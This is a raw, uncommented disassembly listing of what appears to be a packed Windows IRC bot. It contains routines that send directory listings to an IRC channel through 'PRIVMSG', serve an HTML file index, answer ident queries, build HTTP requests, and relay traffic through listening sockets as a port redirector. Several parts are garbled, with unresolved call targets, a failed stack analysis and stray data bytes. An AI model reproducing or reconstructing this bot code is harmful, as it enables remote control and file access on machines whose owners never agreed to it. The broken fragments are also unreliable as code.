call sub_41AFE0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
push edi
call sub_41AFE0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_40FAC9
; ---------------------------------------------------------------------------
loc_40FAAF: ; CODE XREF: sub_40F96B+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
loc_40FAC9: ; CODE XREF: sub_40F96B+5Aj
; sub_40F96B+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
cmp [ebp+arg_C], ebx
jz short loc_40FB64
push [ebp+arg_C]
call sub_41AFE0
cmp eax, 2
pop ecx
jbe short loc_40FB64
push [ebp+arg_C]
call sub_41AFE0
sub eax, 3
pop ecx
jz short loc_40FB15
loc_40FB09: ; CODE XREF: sub_40F96B+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40FB15
dec eax
jnz short loc_40FB09
loc_40FB15: ; CODE XREF: sub_40F96B+19Cj
; sub_40F96B+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41B5F0
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
loc_40FB64: ; CODE XREF: sub_40F96B+180j
; sub_40F96B+18Ej
lea eax, [ebp+var_388]
push eax
push edi
nop
call near ptr 25F0000h
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call near ptr 2790000h
nop
test eax, eax
jz loc_40FF54
mov edi, 1FFh
loc_40FB90: ; CODE XREF: sub_40F96B+5E3j
cmp [ebp+var_388], ebx
jz loc_40FF3C
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40FF3C
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40FF3C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
nop
call near ptr 2780000h
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call near ptr 27707B3h
nop
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_40FC05
mov ecx, offset aAm ; "AM"
loc_40FC05: ; CODE XREF: sub_40F96B+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_40FC11
sub eax, 0Ch
loc_40FC11: ; CODE XREF: sub_40F96B+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41B886
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_40FDB4
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40FC85
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_40FEFD
; ---------------------------------------------------------------------------
loc_40FC85: ; CODE XREF: sub_40F96B+2E0j
cmp [ebp+arg_C], ebx
jz loc_40FD6F
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41B980
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
lea eax, [ebp+var_35C]
push eax
call sub_41AFE0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40FD25
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_40FD2A
; ---------------------------------------------------------------------------
loc_40FD25: ; CODE XREF: sub_40F96B+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_40FD2A: ; CODE XREF: sub_40F96B+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FEFE
; ---------------------------------------------------------------------------
loc_40FD6F: ; CODE XREF: sub_40F96B+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 14h
jmp loc_40FF0D
; ---------------------------------------------------------------------------
loc_40FDB4: ; CODE XREF: sub_40F96B+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_40FDF3
push ebx
push [ebp+var_368]
call sub_416923
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_40FDDF: ; CODE XREF: sub_40F96B+577j
lea eax, [ebp+var_248]
push eax
call sub_41B980
add esp, 1Ch
jmp loc_40FF0D
; ---------------------------------------------------------------------------
loc_40FDF3: ; CODE XREF: sub_40F96B+44Fj
cmp [ebp+arg_C], ebx
jz loc_40FEE7
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_429AD0
push edi
push eax
call sub_41B980
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
lea eax, [ebp+var_35C]
push eax
call sub_41AFE0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40FE93
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40FE98
; ---------------------------------------------------------------------------
loc_40FE93: ; CODE XREF: sub_40F96B+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40FE98: ; CODE XREF: sub_40F96B+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FDDF
; ---------------------------------------------------------------------------
loc_40FEE7: ; CODE XREF: sub_40F96B+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_40FEFD: ; CODE XREF: sub_40F96B+315j
push esi
loc_40FEFE: ; CODE XREF: sub_40F96B+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41B980
add esp, 18h
loc_40FF0D: ; CODE XREF: sub_40F96B+444j
; sub_40F96B+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
cmp [ebp+arg_8], ebx
jz short loc_40FF3C
push 7D0h
nop
call near ptr 26A0F44h
loc_40FF3C: ; CODE XREF: sub_40F96B+22Bj
; sub_40F96B+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call near ptr 2790000h
nop
test eax, eax
jnz loc_40FB90
loc_40FF54: ; CODE XREF: sub_40F96B+21Aj
push [ebp+arg_0]
nop
call near ptr 2770000h
cmp [ebp+arg_8], ebx
jz short loc_40FF97
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41B886
add esp, 14h
jmp short loc_40FFCB
; ---------------------------------------------------------------------------
loc_40FF97: ; CODE XREF: sub_40F96B+5F5j
cmp [ebp+arg_C], ebx
jz short loc_40FFB1
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41B886
pop ecx
pop ecx
jmp short loc_40FFCB
; ---------------------------------------------------------------------------
loc_40FFB1: ; CODE XREF: sub_40F96B+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41B886
add esp, 10h
loc_40FFCB: ; CODE XREF: sub_40F96B+62Aj
; sub_40F96B+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CB6A4
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F96B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FFF1 proc near ; CODE XREF: sub_40F531+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
nop
call near ptr 27308C8h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4100A9
push esi
push ebx
call near ptr 2760A61h
nop
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_4100A2
loc_410036: ; CODE XREF: sub_40FFF1+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41B590
add esp, 0Ch
loc_41004B: ; DATA XREF: ___:00438128o
cmp edi, [ebp+arg_4]
loc_41004E: ; DATA XREF: ___:0043813Co
jbe short loc_410053
mov edi, [ebp+arg_4]
loc_410053: ; CODE XREF: sub_40FFF1:loc_41004Ej
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call near ptr 27A0000h
nop
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
nop
call near ptr 2730000h
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jnz short loc_41009D
call dword_4CB5E8
cmp eax, 2733h
jnz short loc_4100A2
xor eax, eax
loc_41009D: ; CODE XREF: sub_40FFF1+9Bj
sub [ebp+arg_4], eax
jnz short loc_410036
loc_4100A2: ; CODE XREF: sub_40FFF1+43j
; sub_40FFF1+A8j
push ebx
nop
call near ptr 2690934h
loc_4100A9: ; CODE XREF: sub_40FFF1+30j
pop edi
pop esi
pop ebx
leave
retn
sub_40FFF1 endp
; =============== S U B R O U T I N E =======================================
sub_4100AE proc near ; CODE XREF: sub_40F6B4+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41AFE0
test eax, eax
pop ecx
jbe short loc_4100D7
loc_4100C1: ; CODE XREF: sub_4100AE+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_4100CB
mov byte ptr [esi+edi], 2Fh
loc_4100CB: ; CODE XREF: sub_4100AE+17j
push edi
inc esi
call sub_41AFE0
cmp esi, eax
pop ecx
jb short loc_4100C1
loc_4100D7: ; CODE XREF: sub_4100AE+11j
mov eax, edi
pop edi
pop esi
retn
sub_4100AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100DC proc near ; CODE XREF: sub_401ACD+5298p
var_4A0 = byte ptr -4A0h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CB5C4
push 6
push 1
push 2
call dword_4CB6D4
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CB654
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40AAFA
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB5FC
cmp eax, 0FFFFFFFFh
jz short loc_4101B9
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410155
mov eax, offset dword_43D808
loc_410155: ; CODE XREF: sub_4100DC+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41B980
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
sub_4100DC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_410190 proc near ; DATA XREF: Themida_:00558F4Co
push ebx
call dword_4CB6A4
push esi
lea eax, [ebp-110h]
push edi
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp-110h]
push edi
push esi
push eax
push ebx
call dword_4CB66C
pop esi
loc_4101B9: ; CODE XREF: sub_4100DC+6Bj
push ebx
call dword_4CB6EC
call dword_4CB5AC
lea eax, [ebp-110h]
push eax
lea eax, [ebp-310h]
push eax
call sub_41B886
cmp [ebp+14h], edi
pop ecx
pop ecx
jnz short loc_4101F9
push edi
lea eax, [ebp-310h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_409A73
add esp, 14h
loc_4101F9: ; CODE XREF: sub_410190+4Ej
pop edi
pop ebx
leave
retn
sub_410190 endp
; ---------------------------------------------------------------------------
loc_4101FD: ; DATA XREF: ___:00401666o
; sub_401ACD+436Ao
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp-1Ch]
push esi
push eax
mov [ebp-8], esi
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push 71h
call dword_4CB654
push esi
push 1
push 2
mov [ebp-1Ah], ax
mov [ebp-18h], esi
call dword_4CB6D4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410361
mov eax, [ebp+8]
push edi
imul eax, 234h
mov dword_43E59C[eax], ebx
lea eax, [ebp-1Ch]
push eax
push ebx
call dword_4CB680
cmp eax, 0FFFFFFFFh
jz loc_410361
push 5
push ebx
call dword_4CB67C
cmp eax, 0FFFFFFFFh
jz loc_410361
mov [ebp-0Ch], edi
mov edi, 200h
loc_410288: ; CODE XREF: ___:004102E7j
; ___:0041034Aj ...
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
call dword_4CB6E8
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_41035C
movzx eax, word ptr [ebp-2Ah]
push eax
push dword ptr [ebp-28h]
call dword_4CB6E0
push eax
lea eax, [ebp-238h]
push offset dword_43468C
push eax
call sub_41B886
lea eax, [ebp-238h]
push eax
call sub_4151AD
add esp, 14h
lea eax, [ebp-238h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call dword_4CB66C
cmp eax, 0FFFFFFFFh
jz short loc_410288
lea eax, [ebp-238h]
push esi
push eax
call sub_417F80
push 0Ch
lea eax, [ebp-38h]
push esi
push eax
call sub_41B590
push esi
push esi
lea eax, [ebp-38h]
push 2
push eax
call sub_40B08E
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp-238h]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp-238h]
push esi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-4]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jz loc_410288
mov dword ptr [ebp-8], 1
jmp loc_410288
; ---------------------------------------------------------------------------
loc_41035C: ; CODE XREF: ___:0041029Dj
cmp [ebp-8], esi
jnz short loc_410388
loc_410361: ; CODE XREF: ___:00410244j
; ___:00410268j ...
call dword_4CB5E8
push eax
lea eax, [ebp-238h]
push offset dword_434648
push eax
call sub_41B886
lea eax, [ebp-238h]
push eax
call sub_4151AD
add esp, 10h
loc_410388: ; CODE XREF: ___:0041035Fj
push ebx
call dword_4CB6EC
push dword ptr [ebp-4]
call dword_4CB6EC
push dword ptr [ebp+8]
call sub_40B413
pop ecx
push esi
nop
call near ptr 2710000h
pop edi
pop esi
pop ebx
loc_4103AB: ; DATA XREF: sub_401ACD+613Co
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-150h]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp-14h]
push esi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-44h]
call dword_4CB654
push 6
push 1
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
mov [ebp-4], edi
call dword_4CB6D4
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_410517
mov ecx, [ebp-40h]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43E59C[ecx], eax
call dword_4CB564
lea eax, [ebp-14h]
push edi
push eax
push dword ptr [ebp+8]
call dword_4CB680
test eax, eax
jnz loc_410517
push 0Ah
push dword ptr [ebp+8]
call dword_4CB67C
test eax, eax
jnz loc_410517
loc_41045B: ; CODE XREF: ___:00410471j
lea eax, [ebp-4]
push eax
lea eax, [ebp-28h]
push eax
push dword ptr [ebp+8]
call dword_4CB6E8
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41045B
movzx eax, word ptr [ebp-26h]
push dword ptr [ebp-40h]
mov [ebp-14Ch], edi
mov [ebp-30h], esi
push eax
push dword ptr [ebp-24h]
call dword_4CB6E0
push eax
lea eax, [ebp-350h]
push offset unk_4346F4
push eax
call sub_41B886
push edi
lea eax, [ebp-350h]
push 18h
push eax
call sub_40B0F7
mov [ebp-3Ch], eax
imul eax, 234h
mov ecx, [ebp-40h]
add esp, 20h
mov dword_43E594[eax], ecx
lea eax, [ebp-18h]
push eax
lea eax, [ebp-150h]
push esi
push eax
push offset loc_41053C
push esi
push esi
; ---------------------------------------------------------------------------
dw 25E8h
dd 900229FBh, 69C44D8Bh, 234C9h, 89C63B00h, 43E5A481h
dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 2290A44h
dd 0E890EDEBh, 22A034Fh, 46B86850h, 0EE80043h, 5900004Dh
; ---------------------------------------------------------------------------
pop ecx
jmp short loc_41051A
; ---------------------------------------------------------------------------
loc_410517: ; CODE XREF: ___:0041040Ej
; ___:00410442j ...
mov edi, [ebp+8]
loc_41051A: ; CODE XREF: ___:00410515j
push edi
call dword_4CB6EC
push dword ptr [ebp+8]
call dword_4CB6EC
push dword ptr [ebp-40h]
call sub_40B413
pop ecx
push esi
call near ptr 2710000h
nop
pop edi
pop esi
loc_41053C: ; DATA XREF: ___:004104CFo
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41BB20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CB6D4
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_4106F2
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_4CB654
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_4CB694
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_4105CC
lea eax, [ebp-13Ch]
push eax
call dword_4CB6D8
jmp short loc_4105DA
; ---------------------------------------------------------------------------
loc_4105CC: ; CODE XREF: ___:004105BBj
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_4CB60C
loc_4105DA: ; CODE XREF: ___:004105CAj
cmp eax, edi
jz loc_4106F2
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_4CB5FC
cmp eax, 0FFFFFFFFh
jz loc_4106F2
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_4CB6E0
push eax
lea eax, [ebp-344h]
push offset unk_43477C
push eax
call sub_41B886
push esi
lea eax, [ebp-344h]
push 18h
push eax
call sub_40B0F7
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_43E59C[ebx]
mov dword_43E594[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43E5A0[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_410723
push edi
push edi
nop
call near ptr 26B0000h
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_43E5A4[ecx], eax
jz short loc_4106DF
loc_41068C: ; CODE XREF: ___:00410699j
cmp [ebp-20h], edi
jnz short loc_41069B
push 32h
nop
call near ptr 26A0F44h
jmp short loc_41068C
; ---------------------------------------------------------------------------
loc_41069B: ; CODE XREF: ___:0041068Fj
mov ebx, 1000h
loc_4106A0: ; CODE XREF: ___:004106DBj
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CB66C
cmp eax, edi
jle short loc_4106F2
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jnz short loc_4106A0
jmp short loc_4106F2
; ---------------------------------------------------------------------------
loc_4106DF: ; CODE XREF: ___:0041068Aj
nop
call near ptr 26B0857h
push eax
push offset unk_43473C
call sub_415221
pop ecx
pop ecx
loc_4106F2: ; CODE XREF: ___:00410580j
; ___:004105DCj ...
mov eax, [ebp-4]
imul eax, 234h
push dword_43E59C[eax]
call dword_4CB6EC
push dword ptr [ebp+8]
call dword_4CB6EC
push dword ptr [ebp-4]
call sub_40B413
pop ecx
push edi
call near ptr 2710000h
nop
pop edi
pop esi
pop ebx
loc_410723: ; DATA XREF: ___:0041066Co
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41BB20
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_41075A: ; CODE XREF: ___:0041079Fj
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_43E5A0[esi]
call dword_4CB66C
test eax, eax
jle short loc_4107A1
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_43E59C[esi]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jnz short loc_41075A
loc_4107A1: ; CODE XREF: ___:00410784j
push dword_43E5A0[esi]
call dword_4CB6EC
push dword ptr [ebp-14h]
call sub_40B413
pop ecx
push 0
nop
; ---------------------------------------------------------------------------
db 0E8h, 42h, 0F8h
; ---------------------------------------------------------------------------
das
add bl, [edi+5Eh]
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_43E59C[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_4CB63C
test eax, eax
jnz short loc_410844
push dword ptr [esi]
call dword_4CB6EC
push dword ptr [ebp+8]
call sub_40B413
pop ecx
push edi
nop
call near ptr 2710000h
loc_410844: ; CODE XREF: ___:0041082Aj
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call dword_4CB66C
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4109C5
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4109C5
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call sub_4109C5
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_4CB5A8
test eax, eax
jz short loc_4108BD
call dword_4CB5E8
push eax
push offset unk_434854
call sub_415221
push dword ptr [ebp+8]
call sub_40B413
add esp, 0Ch
push edi
call near ptr 2710000h
nop
loc_4108BD: ; CODE XREF: ___:00410898j
push 2
lea eax, [ebp-18h]
push 4
push eax
call dword_4CB60C
cmp eax, edi
jnz short loc_4108E7
push dword ptr [ebp-18h]
call dword_4CB6E0
push eax
lea eax, [ebp-0B0h]
push eax
call sub_41B886
jmp short loc_4108F5
; ---------------------------------------------------------------------------
loc_4108E7: ; CODE XREF: ___:004108CDj
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_41BEB0
loc_4108F5: ; CODE XREF: ___:004108E5j
pop ecx
pop ecx
push edi
push ebx
push offset dword_43D808
push dword ptr [esi]
call dword_4CB6A4
cmp dword_4CE3B8, edi
jnz short loc_410957
push dword ptr [ebp-18h]
